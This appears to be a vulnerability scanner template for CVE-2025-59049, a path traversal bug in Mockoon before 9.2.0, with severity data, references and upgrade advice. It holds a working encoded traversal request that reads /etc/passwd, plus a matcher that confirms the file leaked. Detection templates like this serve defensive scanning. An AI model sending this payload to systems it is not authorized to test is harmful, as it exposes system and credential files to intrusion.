Mockoon before 9.2.0 contains a path traversal and local file inclusion caused by unsafe templating of server filenames from user input, letting attackers read arbitrary files on the mock server filesystem, exploit requires crafted request.
id: CVE-2025-59049
info:
name: Mockoon < 9.2.0 - Path Traversal
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
Mockoon before 9.2.0 contains a path traversal and local file inclusion caused by unsafe templating of server filenames from user input, letting attackers read arbitrary files on the mock server filesystem, exploit requires crafted request.
impact: |
Attackers can read arbitrary files from the mock server filesystem through path traversal in static file serving, potentially exposing sensitive configuration and credential files.
remediation: |
Upgrade Mockoon to version 9.2.0 or later that properly validates and restricts file paths in template processing.
reference:
- https://github.com/mockoon/mockoon/security/advisories/GHSA-w7f9-wqc4-3wxr
- https://github.com/mockoon/mockoon/commit/c7f6e23e87dc3b8cc44e5802af046200a797bd2e
- https://nvd.nist.gov/vuln/detail/CVE-2025-59049
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-59049
epss-score: 0.01779
epss-percentile: 0.77115
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
vendor: mockoon
product: mockoon
tags: cve,cve2025,mockoon,lfi,path-traversal,vuln
variables:
static_dir: "static"
http:
- raw:
- |
GET /{{static_dir}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: {{Hostname}}
Accept: */*
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: content_type
words:
- "application/json"
# digest: 490a00463044022027e1489b7aa4f18f56ebcbaab18df6fb207c8513681419f7ae12198cfe0da0df02202b9b201261c66a431907519bdf055f7570f8c00bbe152d0ba71f2efad0acbd2c:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.